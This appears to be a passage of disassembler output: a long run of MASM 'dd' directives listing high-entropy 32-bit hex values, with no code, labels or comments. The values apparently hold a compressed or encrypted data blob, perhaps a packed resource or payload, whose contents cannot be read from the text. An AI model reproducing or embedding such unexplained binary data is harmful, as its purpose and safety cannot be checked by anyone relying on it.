		dd 0FC502312h, 3C7840D0h, 4B0039DDh, 674C05E4h,	4A740FD1h
		dd 8034943Dh, 6C1CF776h, 77C046h, 3BFA7A74h, 19F1704Ah
		dd 0C2765000h, 0FD605112h, 134D2918h, 61674338h, 4AC701C3h
		dd 6A635418h, 0C3420308h, 56B000F7h, 5C571EECh,	730077FFh
		dd 6A14FB61h, 327945Dh,	38F77C51h, 32C04776h, 0E00A7A5Bh
		dd 68136D3Eh, 7722DB07h, 4507C083h, 41FF839h, 16B59E0Ch
		dd 960AAA10h, 0C889DCD2h, 3EB86180h, 0B89E7370h, 9B9F810h
		dd 124B2793h, 0CFC4828h, 1D188825h, 28DC3A4Ch, 22240831h
		dd 0C8801C79h, 4324DD3Eh, 2CC2506Bh, 0F58612DCh, 0C00115Eh
		dd 89E8DA8Fh, 0C0505158h, 0A6FE5730h, 58D83F55h, 888835A0h
		dd 387C96AEh, 1FC440C2h, 30B04B22h, 0FE59C640h,	78A8AE73h
		dd 27501DC4h, 3F431658h, 0B0A77FBEh, 0BF0B437Eh, 9D6DB21h
		dd 0BB469EF4h, 9B13A880h, 0CC9228F3h, 0C18EA80Ch, 0E172858h
		dd 979A6FB4h, 1AEA085h,	0A778940Ch, 98E42418h, 0C220913h
		dd 0E0F4B800h, 0E8741D43h, 0C295090h, 972C1277h, 1FFC499Fh
		dd 0C03CF984h, 0C0D0A0B0h, 5820FE3Ah, 0CF97C68h, 0BEFC887Ch
		dd 579058A0h, 0D3AA2F3Fh, 227FA264h, 0F06173E0h, 88C5465h
		dd 0B848D6BCh, 0FC86BF10h, 88FA8076h, 0F041B62Ah, 0FA907914h
		dd 0E043CAF8h, 5C24B126h, 8921E10h, 40B13548h, 0C185BD72h
		dd 32048E29h, 0E428988Ch, 0B4F504D4h, 0C9119A43h, 0C298BF7Ch
		dd 0C88F9067h, 21957B8Bh, 71E26BB8h, 17495185h,	73883319h
		dd 50ACE04Ch, 98846864h, 0CB948498h, 902A4240h,	506D080Ch
		dd 80501F64h, 99465DA3h, 0B3D6140Ch, 57720B8Ch,	4F041517h
		dd 6E889EAAh, 3CC2E0FAh, 27B2F404h, 9994F4FEh, 20751640h
		dd 0B3EA2841h, 148A2F0Ch
		dd 996D6880h, 34E6C20Ch, 0D0428C81h, 0F80C33F4h, 0D43F473Dh
		dd 34DA10A8h, 80A17BC8h, 8C993946h, 54B2490Ch, 0D59C1624h
		dd 21EA1611h, 94B1B2D4h, 9690A04Fh, 20D328B1h, 0E4892C14h
		dd 7462D84Dh, 613A7D1Ah, 542350BEh, 0E37CE2DDh,	4A78E484h
		dd 816DA8B0h, 0CA9EFAF0h, 6AD85379h, 5849BE30h,	4CA998B2h
		dd 0B7422C35h, 46D83589h, 52F08DDDh, 153A30F2h,	937B7110h
		dd 0BEC70C12h, 105A7807h, 6A6188C8h, 7144DC28h,	8D963BE5h
		dd 1FC618E3h, 0E7BA1390h, 74ED70C7h, 0ED688C8h,	0DA459C20h
		dd 11A13C18h, 0E4AA9C65h, 0C13CE851h, 0EFEC0317h, 1CD8551Eh
		dd 0AC11403Ch, 46E3D326h, 1CCB4924h, 0D7510940h, 0BD1400BCh
		dd 11EA66D0h, 1C7E2293h, 0AB7CB900h, 6B39F61Ah,	65B01815h
		dd 0AC2C3874h, 0F15C6400h, 13EF25AAh, 826B4809h, 73141C09h
		dd 7427C420h, 2C00CA4Dh, 0B4156796h, 346413Fh, 63984556h
		dd 0EDE0C8F6h, 99306475h, 14861053h, 18397AD9h,	870B11Fh
		dd 1700ACB6h, 98E9C383h, 1DC9F467h, 40A71512h, 69183B52h
		dd 1118DE59h, 0D958B99Dh, 880D0F4Bh, 606D1CDCh,	0D0D2F191h
		dd 62138D5Fh, 840B5FAh,	5A2C1425h, 0A2B8F7h, 9A8ED565h
		dd 97D42ABBh, 9ECAFD00h, 886BECADh, 9BFB8ACh, 0F1905811h
		dd 48834B00h, 2900E5AFh, 21276C08h, 0FCE471Dh, 0F53E0FCDh
		dd 0DC410783h, 8B46C2EFh, 3EDC148Fh, 0D430C803h, 0D3984B0Fh
		dd 0CD00849Ah, 0EE105943h, 1CD7F803h, 0BFD0322Bh, 82DD5780h
		dd 84837C15h, 7004077h,	0E2D1F746h, 27CD8Ch, 5F22DB71h
		dd 0D7FD43DAh, 517450C0h, 95EE05h, 11660DD3h, 0CE8CE064h
		dd 233F8701h, 8E856971h, 389A2081h, 4F371BE5h, 78E21120h
		dd 0AD542C80h, 0DD60D492h, 6C53F3C1h, 4CC900C1h, 39CEC534h
		dd 98C0B410h, 0A21BCC31h, 0ABCD0088h, 9725E49Ah, 300C1232h
		dd 90B86F0h, 0C421C09Dh, 0BE66973Dh, 8BDE2800h,	592C345h
		dd 73F700E2h, 148EC983h, 0F06791Ch, 0E8BA0D5Fh,	0A22C0318h
		dd 57CB25F5h, 0F00AB7E0h, 0D660F700h, 0E692814h, 9CC851FFh
		dd 9BC4E0B8h, 0CC677E18h, 54697A18h, 180D8CB9h,	18EFAD0Eh
		dd 3718D45Bh, 84A0F1B3h, 1C7FCEDh, 66087B20h, 98104C8Fh
		dd 3221E408h, 0A1C73E07h, 2ACF987h, 94CAC09Dh, 0F0C878Eh
		dd 58F8C346h, 84BD287Dh, 2AB03A0h, 0DED1559Ah, 24033DA0h
		dd 0BC51000h, 397F120Ah, 0F5733E60h, 8F0746D8h,	806C81E9h
		dd 0EC5E6933h, 0FD19A53Dh, 0A46F1B05h, 2C00BCFFh, 4ECA33AAh
		dd 5A3F0021h, 0C50A24D7h, 0CCA322E4h, 0D5D95015h, 0CBCD00FCh
		dd 5D29483Fh, 0F1EF0C3Eh, 0C0084654h, 371621C0h, 0E0AD7648h
		dd 4451C0BEh, 4601685Ch, 0D8F15B30h, 753C355h, 0C95F646Bh
		dd 73F0000Ah, 0C006DFCh, 243C6AD1h, 116F163Fh, 2971E8E4h
		dd 3B0144DDh, 1E5D2D48h, 1288CE18h, 9C480033h, 63E1789Bh
		dd 0E90579B8h, 0EF41617Ah, 1E01E001h, 6200C2EBh, 0DB0C2866h
		dd 0F8F7AC7Ah, 0F489304h, 12649724h, 20E76238h,	0EA973CCBh
		dd 40090E6h, 0D771A243h, 3E1BB41Eh, 24C99959h, 2F5A5B12h
		dd 0EE02314h, 0FA02C55h, 5DB0C85h, 20F2A430h, 7B2732Eh
		dd 5F245CA1h, 5EFEE0A8h, 98C68B7Eh, 0A19FA2h, 0B551AC19h
		dd 0AD39DECh, 505FB300h, 272A1718h, 0F9C107AAh,	0D27A40CBh
		dd 1440010Bh, 109282BDh, 9000A47Fh, 89272A8h, 0C8B20DCh
		dd 8D19DBC4h, 674C1161h, 33405003h, 0E2D4F100h,	344124F4h
		dd 0FF19009Eh, 984BCD11h, 8160B3ECh, 70217B59h,	0A33403D5h
		dd 0DB1BF26Fh, 832488BCh, 445E2E00h, 8D4972FBh,	18E6EEh
		dd 30932212h, 2B5566B4h, 31240EEAh, 98303421h, 0C087BC27h
		dd 0B1257A61h, 3F03010Ah, 0CF19D010h, 0A075A211h, 0B2DD4490h
		dd 2D4E3C7Bh, 0FC967194h, 0FEFD5C04h, 3218C0ECh, 0BAF0DCF1h
		dd 3B01B4Ch, 7B05132Ch,	9850D119h, 96D46982h, 93C0E04Ch
		dd 4805CB3Ch, 7F656710h, 0FD588800h, 0E47E83C2h, 3560188Bh
		dd 0A246187Dh, 26A09154h, 30B6DB0Eh, 0EC5960B2h, 60BCEE09h
		dd 2DD6A976h, 7EF0E5FDh, 98535000h, 789CC935h, 0FA220016h
		dd 0F64CDA0h, 3D26DB30h, 1BB0C06h, 18A2D69h, 47E921FBh
		dd 484A42F0h, 0D415444Fh, 705B4D9h, 80A6C068h, 77D730B3h
		dd 0B0295200h, 2BD4E8B4h, 0E98E61BDh, 0D4FFAED5h, 0CA00F2D7h
		dd 68F722E6h, 1A945A86h, 28994170h, 60DBD484h, 232B4831h
		dd 0C43E4E5Dh, 48490014h, 9B8FDD6Eh, 0F60E47F4h, 54396712h
		dd 32AF0094h, 0A1F1D30Bh, 5698A99Ah, 43223E80h,	19807B11h
		dd 93A01F00h, 9584F392h, 0BC7C240Ch, 157D4060h,	4F0440B6h
		dd 3B2368E0h, 87549481h, 49821A0h, 0E0144BDh, 2D50D07Fh
		dd 0E4A0CF5Fh, 34817805h, 22FE3020h, 0E800985Dh, 0ED3E543Dh
		dd 396D32E1h, 3BA423C5h, 19BE9878h, 94910BDBh, 53C58F8Eh
		dd 873DCC07h, 913497F9h, 0B02780E3h, 5463AAh, 0B3555791h
		dd 9A3EB232h, 1AA47B3Ah, 807E0B87h, 0D5D74664h,	3B8CB28Ah
		dd 793DDA2Ch, 855630FEh, 1D3ED0C9h, 88115F2Ch, 0AFEA7480h
		dd 4D0E8BD6h, 7A0444F6h, 0C0E67159h, 37E5764h, 7894FA50h
		dd 7946490Fh, 0C03A929Ah, 74007223h, 18363CD8h,	0E99960A2h
		dd 0D2B0C789h, 429D640Fh, 0FA53A435h, 3F686F86h, 5D046AC0h
		dd 811F36DDh, 0E03C25CCh, 0CE32EF7Eh, 30268884h, 6C98B124h
		dd 22440752h, 0DC43007Eh, 93C32FB2h, 960B58F1h,	259981Ch
		dd 4F35358h, 0E8BCC30Dh, 0E4E9A124h, 3086810h, 558397A1h
		dd 0B07771C1h, 119B7F7h, 0EBE0454Bh, 72D4BDB2h,	0F199109Ch
		dd 79A30F03h, 10BE4561h, 7F944F09h, 5D8C20D6h, 0B5623B6h
		dd 0A610CC55h, 38CD70BAh, 1B9ED5E0h, 0E7DC001Dh, 54B80F31h
		dd 0DE12934Ch, 0D31704D8h, 0C8103823h, 610752h,	6A290EFFh
		dd 0EAFBF79Fh, 1C943917h, 2A904C37h, 757346D5h,	800C4906h
		dd 0E8DDEB00h, 0A3A05418h, 0F561CD0Ch, 7237E8E3h, 508A0545h
		dd 82592FF8h, 0E4890968h, 8985688Fh, 4AE402C6h,	0ECA9B910h
		dd 14525818h, 0F61EC900h, 92BD1FD0h, 1D4713FFh,	826C05A8h
		dd 0C945812Ah, 61E47425h, 2AF87920h, 0D48AD2h, 0FB078D2Eh
		dd 0F55FD184h, 0ACEB4A28h, 0E7B31102h, 801C6A0Dh, 50BB8B48h
		dd 2C944879h, 8C71E8h, 57BE7B61h, 91441D48h, 36B33D07h
		dd 0EC666971h, 3F9A0298h, 8EDD56FBh, 4184F0A0h,	0D80E4ACDh
		dd 55D2947Ah, 771302F4h, 0C86C8C99h, 809C112Ch,	0F03A185h
		dd 0D18F0832h, 0AB201F84h, 73DCA16h, 98F07820h,	732D0E8Ch
		dd 4CA6378Eh, 8C39D69Eh, 579C54BDh, 3A2CC81Ch, 0F4403480h
		dd 75B3913h, 5EEB2520h,	402A4726h, 443D6C27h, 97803000h
		dd 2E2F3538h, 152600ECh, 16F45739h, 20015333h, 3D543F7Ah
		dd 0A3F3EB17h, 3C28302Eh, 163B5F10h, 0EFB053F8h, 0F4553500h
		dd 30573815h, 4B293C7Ah, 5D03393Eh, 422E2220h, 83CF2AC3h
		dd 5FA92833h, 0AB1824FAh, 0C07D04ADh, 3143D43Eh, 4107B490h
		dd 500314FAh, 0DB5318AAh, 91112CBBh, 55E06F54h,	0D1AF3F52h
		dd 1ED5AB0Ch, 161718E4h, 15F8B77h, 33CAAAA0h, 2859ACF0h
		dd 14EC651Dh, 4BC07BCh,	6E107E0Dh, 0B7A8CE0h, 9E4B68AAh
		dd 82C804h, 5FCFF09Bh, 792300CBh, 0C1BC87AFh, 0E27C470h
		dd 328480EBh, 27359E3Ch, 0E818687Eh, 0BB205178h, 282098C0h
		dd 9040617Fh, 545530F8h, 32983DD9h, 2C1D889Ch, 2644F831h
		dd 2110CAD0h, 0DD8092A4h
		dd 60AC0255h, 16028F96h, 6886ED8Fh, 417F0DC8h, 2688289h
		dd 87055B22h, 686CDB8Ch, 0F88C640Eh, 17011FE0h,	71D24287h
		dd 0BF1040BEh, 0BC85019Bh, 43800D59h, 0ACB6461h, 0B5CE84B1h
		dd 0D8E3518Ch, 188F9447h, 8B488021h, 7053842Ch,	24B312h
		dd 0DA8C3CC0h, 0D4932E01h, 0C75E4060h, 25008EB2h, 0E3F87D7h
		dd 0CAF28B0Ah, 3248F189h, 2C4E8509h, 64910D78h,	499D605Ch
		dd 95D0CAFFh, 810767F8h, 996C1357h, 36F5B890h, 275B0733h
		dd 21423B7Ah, 0CB533923h, 8CA528C3h, 50B03878h,	35152516h
		dd 0EB03541Fh, 0A0371B31h, 2263B58h, 8DD91E2Eh,	60981192h
		dd 7D02C328h, 1721EBA0h, 0D704B013h, 53397C02h,	8400CE4h
		dd 273D1F22h, 0CC532233h, 11391474h, 88F38F08h,	2B8B6F86h
		dd 3AE15C85h, 65D520A0h, 327D098Dh, 8994F68h, 4C0A14B1h
		dd 19F9E0A9h, 2905599Dh, 48334410h, 23A39E67h, 203E0823h
		dd 8D7080DBh, 36FD81E3h, 2988F89Ch, 0A0CF38Dh, 0C88CF430h
		dd 17390350h, 2834CF4Bh, 2CB53199h, 0E00D3071h,	0B85DD429h
		dd 82098332h, 80488124h, 8E228F91h, 898C8D44h, 248A128Bh
		dd 0A4884889h, 76083352h, 4A03F5A0h, 0A3ED938h,	0F4302334h
		dd 52B8D646h, 83CA84F2h, 5E625D04h, 0E508858Bh,	1524BC00h
		dd 7779AD3h, 8B4AD4F3h,	8A09C0F6h, 63004ECCh, 99D1CDECh
		dd 0E82D1535h, 54F33C07h, 5C3E0F3Ah, 0D20C173Ch, 0F5403F9Ah
		dd 8029EC40h, 8C016343h, 8B993ECDh, 4829F35Ch, 40FFDAFh
		dd 0D725ABFEh, 25018866h, 21D44804h, 0CF173202h, 5538CC4Ah
		dd 28314780h, 80D43DDBh, 1719221Ch, 20903D9h, 4181014h
		dd 0EEAABFh, 87FBC72h, 617DDC4h, 5F0CE8Ch, 0B1FC218Bh
		dd 0AC38D452h, 48DA00E6h, 8C79401h, 3FF8D84Eh, 0B018F060h
		dd 21C56EAh, 7620CC97h,	1C87F716h, 74E3C05Eh, 0EDEEC3D3h
		dd 2F28D752h, 83E453F8h, 33CF460Bh, 4D44B973h, 3E3800FAh
		dd 2E223755h, 68033F51h, 15361E8Bh, 253CC02Ch, 0D4590028h
		dd 265D2D6Bh, 423F2E27h, 8F14D221h, 58370632h, 54380F30h
		dd 5D82133Bh, 27002530h, 453422h, 572F2B37h, 52F59AE6h
		dd 3F283800h, 3226FACCh, 18E56141h, 0C82B3C42h,	171D3A5Bh
		dd 8036533Fh, 67237428h, 40380640h, 413E1635h, 5D3778C3h
		dd 20310C33h, 3E593815h, 0C245F29h, 0FA00A8A1h,	37573327h
		dd 0CE1BD2Fh, 20884016h, 5E533421h, 460701F8h, 8CE0A7FBh
		dd 4406DAE0h, 775F4D91h, 31AFC8E5h, 7E409079h, 0EA3F9539h
		dd 0D2E80286h, 0CEC93BDEh, 579889FFh, 84E034BBh, 79005B9Bh
		dd 13C41AACh, 0DCE905DBh, 0F69DC071h, 0AD7094ECh, 3549B40h
		dd 57FE8B5Bh, 2807887Fh, 0D40D0B43h, 0D6E308B1h, 89CA0024h
		dd 8718412Bh, 8680689h,	8D05DAEDh, 0CD2D443h, 0A9A11231h
		dd 2CA09B18h, 11F1F70Fh, 0BC0198B4h, 40A4E299h,	38C60DF4h
		dd 0CEB4CF0h, 0D170959Ah, 0C765BC59h, 0A821A281h, 318CB9B3h
		dd 585960DBh, 0C112D501h, 17AC837Eh, 68F2D183h,	0D3B2BF7Ch
		dd 62EED084h, 63AD1890h, 96067343h, 31607E0Dh, 0B9A8D530h
		dd 0C0E5DDD6h, 0CA8F0969h, 0F5337196h, 12F9C8ABh, 0BB51B6F1h
		dd 6789C50h, 0D98716C7h, 0B7B31B31h, 47D2188Ah,	69724C82h
		dd 8845888h, 9283DF71h,	0F9015605h, 49108B83h, 0FC30617Fh
		dd 71A230B8h, 8918C5F3h, 564C0A88h, 0E8849458h,	0C3918F31h
		dd 10E52B0Eh, 14B27848h, 0A473D559h, 0B2C27B9Dh, 0B1744D9Eh
		dd 0B1582B8h, 0D508D421h, 804356CCh, 82FD4711h,	84DA6178h
		dd 882BED28h, 6A8544CFh, 0A2DA7B10h, 1A5D11C9h,	0B3598B88h
		dd 478D7508h, 0A551988Fh, 428D0D08h, 4214F89Fh,	502523A8h
		dd 1085F5EFh, 0CDFD849Dh, 0C4467A3Fh, 24D5D413h, 66C885Ch
		dd 99049244h, 41DF1360h, 0D134B134h, 1121818Ah,	8B7EBDAEh
		dd 817C8C32h, 8043128Eh, 52C37B34h, 9890C89Dh, 36426F9Eh
		dd 49C51A13h, 911193A0h, 58E430B4h, 0C5909B80h,	31EA0610h
		dd 84FB084Ch, 7AEB4D61h, 26DEF4C3h, 45386CD1h, 0FA4871A1h
		dd 0FF40919Ch, 1A71A04h, 0D4E8887Eh, 0D0DCDE48h, 2B49D8A8h
		dd 216C6FB1h, 0FD448F02h, 44BCA447h, 0A29C2C7Ah, 0D95F4018h
		dd 6E39AA50h, 0A8C10102h, 0B33CFA17h, 1BB96840h, 70503BCAh
		dd 42F3B41Eh, 0F97E055Dh, 4CDC94C0h, 2FC39219h,	63F061D0h
		dd 8E70C0F3h, 0F84484F0h, 0ADC3541Eh, 8797EB83h, 660FF8CDh
		dd 28C1604Bh, 0A8B45424h, 64957302h, 84D7719Fh,	7441F688h
		dd 30EDE159h, 0B20019DCh, 0DEFF5A57h, 37DD5D22h, 7E88EB9Ah
		dd 8C4BA560h, 67081394h, 5F75F66h, 88A1DA74h, 161F7C54h
		dd 4840A878h, 0DC4432E5h, 8AAC0057h, 0D5D862FEh, 0A0DE1A3Fh
		dd 3E24E5D0h, 6A1100h, 0C05F562Bh, 7603D50Ah, 3548002Eh
		dd 4DBCF1A5h, 0F03A4B0Ch, 0C55A8337h, 0C068DE92h, 0A5809h
		dd 0A8215DCFh, 0AB5902E3h, 232CAE03h, 8B0CC2A7h, 2D20A045h
		dd 32D100B6h, 54C6B421h, 0CD1FA72Fh, 0AD013F4Dh, 0D1551053h
		dd 3EB312D0h, 0A9D20D3h, 48033EF7h, 0B02551ADh,	0B515400Fh
		dd 533980C0h, 0A43B27AEh, 1E1EF840h, 2822A5B0h,	1E017C99h
		dd 2951D1AEh, 0A898B030h, 0A7531F2Eh, 0AD520F1Ch, 4D0E302Fh
		dd 51A7A94Fh, 32A8451Eh, 8C858C60h, 0C046F0Ah, 70A71E2Eh
		dd 82751D1Fh, 0C3830A6Fh, 0B43BE018h, 3A002CD1h, 0D097D4B5h
		dd 5744C368h, 0AF0A2C1Fh, 7C42153h, 0C074DF52h,	0F8684839h
		dd 4D7C38ACh, 396E5E00h, 23AFAE43h, 144AE92Dh, 0A004047h
		dd 5EFA39F8h, 3B1D29F7h, 480AADA4h, 0A881F8A9h,	76D245C3h
		dd 7AB4944Ah, 1C32F804h, 1E05535h, 0ECF5459h, 5291F030h
		dd 0D5B5481Dh, 0A9A71004h, 0D05E34C0h, 0E8009A53h, 2882F11Fh
		dd 39C3670Ch, 3B569848h, 8286B13Eh, 54C2A648h, 60406312h
		dd 0E14D2850h, 33F1F8B5h, 0CF6C5120h, 57A5B4A8h, 50D5EC90h
		dd 93838374h, 609141FAh, 0C4FF040Ah, 3080F375h,	0B51AFA8h
		dd 21DC57ECh, 986D9024h, 58926E40h, 1E216C05h, 5483C6B3h
		dd 383DC168h, 0FA52D030h, 7728F06Eh, 1F40C42Dh,	0ECC0C0B7h
		dd 2C03A4B6h, 2ED56A10h, 0A010A611h, 1488A8Ch, 54A9A62Dh
		dd 60C3B33Ah, 0C04CAB70h, 12613CFCh, 0A0031C6Dh, 18B62528h
		dd 60B21010h, 0AC90B322h, 54C058C0h, 306CA739h,	6D402451h
		dd 0C174A915h, 0FC82D6Fh, 2FA50723h, 7C2E304Ch,	0C7C178ECh
		dd 0C01F54A1h, 0A13B53DCh, 392CC20Ah, 4489868h,	0F8A5567Dh
		dd 20DCA907h, 0D4D86A85h, 0D4B03BFAh, 0C760ECACh, 0AD4F816Fh
		dd 0C36AF42Ah, 0B81E5024h, 571838E9h, 0F0A64814h, 71C2526h
		dd 44B63B2Fh, 0AEE8812Eh, 0F383D56Dh, 0C0A9300Bh, 77C0F55h
		dd 0D7801E5Dh, 51AF2D53h, 41A606Eh, 0E37581FAh,	0C4642F20h
		dd 0D7A82C41h, 71A716B4h, 36D36AE4h, 98A42C0Ch,	0D0BA1105h
		dd 0A4A7DC83h, 284DD887h, 0B1D1B5F0h, 0C1C24C4h, 0C309AD6Ah
		dd 52C42E58h, 50329FE4h, 0CC0C8B5h, 10542E89h, 3B240720h
		dd 218D4FB7h, 0F0A9F169h, 0C3E83822h, 2E0A20B9h, 435A2C1Fh
		dd 980E63Ch, 1E2CC0B5h,	58443486h, 2F6DC20Eh, 115D27A9h
		dd 0CAFAB0CCh, 69183380h, 9FB15002h, 0C87F386Dh, 8DC7704h
		dd 7BD99F29h, 0EB7D40DDh, 6A033FFBh, 8B5AB4D1h,	0A165C0D0h
		dd 8A1CA5C3h, 7418C682h, 69C9E700h, 6594D38Ah, 0C5BD2984h
		dd 7600DE68h, 9453A6C2h, 4CB5D3h, 69A9BD92h, 4FC0D590h
		dd 0B4C48410h, 95C966CCh
		dd 9B50C254h, 0A0EF681Dh, 0C7D16400h, 77F974Ch,	0BB9053C2h
		dd 0B084C7B4h, 0C08869C5h, 8A0352E8h, 9167F9BDh, 9757A0C2h
		dd 56C33AB6h, 929F1Dh, 65BBE295h, 0BA0FD190h, 0C28C4Dh
		dd 0C7BE7367h, 0C1880052h, 0DE4956BDh, 0E2E832A9h, 0D19C40F9h
		dd 913364F9h, 0C8C221B6h, 0F3BE9767h, 0CBC90D0h, 0B7959BBBh
		dd 0C0FE8598h, 0D906C8DDh, 268992Ch, 0B8DA6648h, 8085884Dh
		dd 0C0342E69h, 0B8C29738h, 0C7F0F067h, 1AB69360h, 38015F68h
		dd 56C6BC8Dh, 8FC7F442h, 33B4E0A8h, 0A0B5BD88h,	3A987FF0h
		dd 9400704Bh, 0C7BC9769h, 0B730929Bh, 63B421C0h, 0B8D11D95h
		dd 0C8B61458h, 0C1D3490Ch, 0C8A1C390h, 7B608193h, 4DB4CF6Ah
		dd 104B384Dh, 88E0A6F3h, 486FC5D1h, 865286E8h, 793A1D28h
		dd 973609D6h, 3DC1C08h,	8D52C1D4h, 0A1562001h, 865AC7D3h
		dd 0C4CC0D0h, 53C57F8Bh, 7C92B5E8h, 5229C881h, 808866C4h
		dd 49A1418Ch, 8B0C20E0h, 837C20F1h, 57BBB61Fh, 8862EF10h
		dd 0DC8E68C6h, 10669B85h, 7874D8D0h, 0BADCEBBDh, 48E4C58h
		dd 80795078h, 0C296025Ah, 0C02C71FDh, 4C95B085h, 556049F0h
		dd 0D0DF8A33h, 6883E784h, 4E280C4Bh, 0D3E9C549h, 58499681h
		dd 6325DC4Ch, 0F056089Eh, 0C6973009h, 0C01C20FDh, 12BE4968h
		dd 0A8D6BC9h, 6FF45A44h, 978478F4h, 943882D2h, 0C8032042h
		dd 73E0B87Fh, 677CC7B6h, 6CE8BE66h, 0BCF083C0h,	40B20CDh
		dd 0B480A4FBh, 4CD49555h, 0EB01DCB8h, 0C28B52A2h, 16E5F8D9h
		dd 2D1E5478h, 0DC00D1F7h, 2313EE6Eh, 0F2193C18h, 10E29618h
		dd 42EA8C20h, 947B28C7h, 251E56C0h, 748101A5h, 4BF0D329h
		dd 23388676h, 80A35Dh, 965422B0h, 0FE5CA4D1h, 7F0F4600h
		dd 0AE711A74h, 0AA60C43h, 0D92075D4h, 0EF32671Eh, 37E120A9h
		dd 830C7EFAh, 30001E76h, 0BB5E4B22h, 3AA99F8Fh,	494026D3h
		dd 4316E700h, 77F5E3B0h, 3209CCA8h, 0EF006921h,	58AABD16h
		dd 0C035D274h, 0E3579A19h, 0E61EFD01h, 3C40A8FAh, 66187245h
		dd 0A5C90094h, 0AE832D86h, 0FE008F5Fh, 0F801D982h, 0A0F246DCh
		dd 56C49F98h, 36207072h, 7E9F014h, 0E4D898D4h, 1C8C8CFDh
		dd 67233840h, 50ACA12Ah, 0A4D00EC3h, 7EC84A01h,	23F4DAE7h
		dd 1A562183h, 407C9A70h, 0AE0CEF50h, 81843210h,	1AE09841h
		dd 898507Ch, 0B81218B0h, 20243976h, 0A2FC2152h,	50111AE6h
		dd 1C181D42h, 843982E8h, 41F05D65h, 0A86800h, 683506DEh
		dd 6BC4083h, 7139D2A6h,	0E52A4300h, 84733AEDh, 0B34A0097h
		dd 99221C69h, 7F614683h, 55A85BA0h, 607CBC0h, 0A52660F1h
		dd 88185098h, 0EB89DD37h, 0C12D00FFh, 14CCF1E9h, 10526B6h
		dd 8906601Fh, 7F749F02h, 88CBD20h, 47D40DABh, 0A374507Ch
		dd 16ED0F8Ch, 8851B03Dh, 0C0639E40h, 0EDE76A16h, 7402A041h
		dd 0C2C458C5h, 1CF483B4h, 0B1558B19h, 502005CFh, 0CE8C1A80h
		dd 6CBDE041h, 0C05CB994h, 0F0DB41A9h, 0EC4630ACh, 0BA371E50h
		dd 0A3057A18h, 268C1840h, 0BC48241Ah, 0FAFC3C4Ch, 0FAE3A447h
		dd 94502EC4h, 0F38B447Ch, 8300C4A4h, 29514F18h,	9A7841EFh
		dd 819B00C4h, 65F2B160h, 0FA66D583h, 0E218509h,	8B60793Bh
		dd 5C991E40h, 0F0C24D8Eh, 4874AE55h, 301349D4h,	76F940F6h
		dd 9900B606h, 0BC1D41Ch, 170867Bh, 4AC017FBh, 24A7B526h
		dd 68301A94h, 0FAF6C96Ch, 2A18C288h, 0D4A3F020h, 89008740h
		dd 36A2D119h, 22E3AAh, 46E53A8Eh, 96061B3h, 0B008D005h
		dd 1482D7FDh, 4CE0A3C6h, 0F5F02329h, 0AB607B01h, 7F1895F2h
		dd 733588h, 27635760h, 0DB92ED79h, 58F5F731h, 9C03EB8Ah
		dd 0C482CAAAh, 8F088170h, 32A60514h, 0A0F0A074h, 0A76CA2E0h
		dd 3C92A5h, 0F7392F1Eh,	23539531h, 0BD5F101h, 8364131Bh
		dd 0FE0C30B8h, 0AC48A8C4h, 0A02A2210h, 34F9DA0Ah, 9C118CE4h
		dd 56700E51h, 5E077F7Eh, 67F0913Ch, 29A07826h, 11807AB3h
		dd 607F80F1h, 8C75F2AFh, 398144h, 99056077h, 0FC490DE8h
		dd 11C47258h, 0AC08454Eh, 651FFDF2h, 1830821Dh,	0C8338h
		dd 77918FFBh, 4CDE0BC9h, 90068424h, 1A0333A4h, 185EBC54h
		dd 0A0602610h, 0D9C02BD3h, 0BB205866h, 35161F8Ah, 7ABC4786h
		dd 0D640A095h, 0A04D291Eh, 76906270h, 0A4B50056h, 0DB81D3A6h
		dd 0AAA5C441h, 0ED369100h, 190CC170h, 30507E64h, 32D410DCh
		dd 0D9B902F1h, 0A0A11144h, 0B8AA7FA8h, 0CD16037Ah, 951E2597h
		dd 21A80830h, 1B8A2E4h,	836D393Dh, 0C0AA50D0h, 23051884h
		dd 0E6CA4EEh, 0C04A2C08h, 1680B8B0h, 0B3229D46h, 0B8A8DE01h
		dd 765C9CD5h, 0F822C450h, 39AE2C52h, 445E1297h,	838438h
		dd 37727BBFh, 9492D6h, 0ECE63CF9h, 0A3455F60h, 8CC587Eh
		dd 9221EEh, 83ADE644h, 0F7358759h, 378F801Eh, 3ACA00A2h
		dd 0F86708C9h, 0F00FDD7h, 69F4F2C5h, 752E8B03h,	2CB648E2h
		dd 7680C803h, 28DD428Ch, 4CA5E5C0h, 8D63E4C4h, 0B820F098h
		dd 0FB75E500h, 711E5E09h, 1AE4A185h, 0B9009023h, 21E2A823h
		dd 0BF4D1DA6h, 0B110851Ch, 675EA840h, 11DC01Ah,	5DB77F14h
		dd 0EC69FDF4h, 167CC222h, 0AC666328h, 0C077B0C8h, 60E9E641h
		dd 0EF224746h, 0E6499700h, 9EE03976h, 0BEB802A5h, 0F26455A9h
		dd 22EC03E1h, 0DA34808Ch, 1170F0h, 2637B798h, 8940192Bh
		dd 8E43F4A8h, 92F3F800h, 74C2E634h, 5B103FD8h, 3EA30802h
		dd 0DC623C07h, 5CC05CB3h, 60CB59B6h, 0F8E010D2h, 48EF007Ah
		dd 3A0DBD25h, 0DB044F62h, 8BC403EEh, 0F9375098h, 74FBD180h
		dd 2441092Bh, 0D78DD626h, 86F1F900h, 601B2ADAh,	0F66029D3h
		dd 0C0917D0Ch, 35C68404h, 82F9DC04h, 0AF304978h, 0A528C9B8h
		dd 10B47831h, 0B8A7E1h,	9378EC2h, 48E5A1DBh, 5AEC20E3h
		dd 0B05B00EBh, 6430592Ah, 4D22B302h, 384CB85Fh,	8C73E440h
		dd 0EDE63D04h, 0F0626760h, 0E6B09327h, 430E0h, 49E8A95Fh
		dd 825832AEh, 53B068C0h, 7A291316h, 0E8122EF8h,	0CF5CA6F0h
		dd 84281A82h, 32507C14h, 0CB318744h, 0B400D466h, 0D3AC391h
		dd 0F8C98693h, 42ED019Dh, 826AF52h, 3FF89017h, 98AA6C0Ch
		dd 80B8BF39h, 5496FB09h, 5AC0A5FEh, 10C23098h, 399F2CD3h
		dd 2AD501A8h, 0C9ACEB8h, 449F0FCh, 539CFA41h, 70389775h
		dd 199005EFh, 0C1EC2F01h, 4634D218h, 8CF41460h,	0AA607A04h
		dd 68679DF2h, 60723480h, 2E2B211h, 0B4F0A955h, 0BCC8E97Ah
		dd 3B62A684h, 0B25CDAD1h, 0E410E594h, 74A603Eh,	0F84900D2h
		dd 78203871h, 0DB6672B4h, 20802971h, 24A0F726h,	23834A3Ah
		dd 8001EED8h, 6DF2B060h, 3A800073h, 0B156078h, 96002B72h
